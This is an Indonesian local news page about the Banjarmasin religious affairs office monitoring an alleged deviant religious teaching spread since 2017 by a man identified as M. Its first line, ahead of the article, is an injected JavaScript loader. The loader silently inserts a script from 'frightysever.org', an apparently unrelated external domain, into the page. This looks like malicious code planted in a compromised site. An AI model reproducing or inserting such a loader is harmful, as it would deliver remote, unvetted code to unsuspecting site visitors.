(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Dugaan Ajaran Sesat Terpantau Kemenag Banjarmasin Sejak 2017


BANJARMASIN, Menanggapi adanya laporan dugaan aliran sesat di kawasan Pemurus Dalam Banjarmasin yang disebarkan oleh M, Kantor Kementerian Agama Kota Banjarmasin langsung menurunkan aparatur Kemenag Kota Banjarmasin.

Hal tersebut disampaikan oleh Kepala Kantor Kemenag Kota Banjarmasin H Muhammad Rofi’i melalui Kasi Bimbingan Masyarakat Islam H Ahmad Sya’rani saat dikonfirmasi di Kantor Kemenag Kota Banjarmasin, Kamis (26/12) siang.

“Kami baru saja menurunkan penyuluh untuk menggali informasi, dalam rangka menginventarisir informasi itu apakah valid atau tidak valid. Apakah masih membuka praktik ajaran atau tidak,” kata Sya’rani.

Hal ini perlu dilakukan, karena berdasarkan laporan yang diterima dari masyarakat sekitar yang resah dengan keberadaan diduga ajaran sesat itu.

Sya’rani menjabarkan, pihaknya telah mengetahui keberadaan diduga ajaran sesat yang disebarkan oleh M, sejak tahun 2017. Saat itu, Ketua RT 01 di mana diduga M berdomisili, melaporkannya dalam sebuah rapat di tingkat kelurahan. “Karena dianggap meresahkan warga sekitar,” kata Sya’rani.

Baca: Heboh Dugaan Aliran Sesat di Banjarmasin, Eksis Selama 10 Tahun Terakhir

Selanjutnya, Sya’rani membeberkan, waktu pelaksanaan kajian atau majelis pun dilakukan pada waktu yang tidak lazim pada umumnya. Kemudian, keberadaan dugaan aliran sesat ini sudah ditindaklanjuti oleh Kemenag Kota Banjarmasin dengan menerjunkan aparat.

“Dari informasi itu, kita terjunkan aparat kita ke sana, untuk menggali data. Kemudian, data itu sudah dapat untuk diinput, dan kita sampaikan kepada Majelis Ulama Indonesia Kota Banjarmasin,” paparnya.

Sehingga, untuk kasus ini, Kantor Kemenag Kota Banjarmasin telah mengarahkan aparatur untuk melakukan penyuluhan dan mensosialisasikan hasil Rakernas (tentang aliran sesat). Sya’rani pun membenarkan dugaan modus yang dilakukan M dalam menyebarkan paham aliran sesatnya yaitu, dengan membuka tempat pengobatan.

Nah, berdasarkan temuannya, sesuatu yang tidak lazim itu ditemui ketika umat Islam pada umumnya tengah melaksanakan ibadah shalat fardu, M malah melakukan pengajian. Selain itu, mayoritas pengikutnya berasal dari luar Kota Banjarmasin.

“Pengikutnya itu didominasi dari luar kota Banjarmasin,” sebutnya.

Berdasarkan informasi yang didapat, keberadaan diduga aliran sesat ini diketahui dari seseorang pengikut M yang tinggal di Gambut, Kabupaten Banjar, yang menulis wasiat ketika hendak meninggal dunia. Dalam surat wasiatnya, dirinya tidak ingin dimandikan, dikafani dan dishalatkan kecuali dengan gurunya. “Indikasi dari situ,” pungkasnya. (fikri)

Reporter : Fikri
Editor : Bie

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.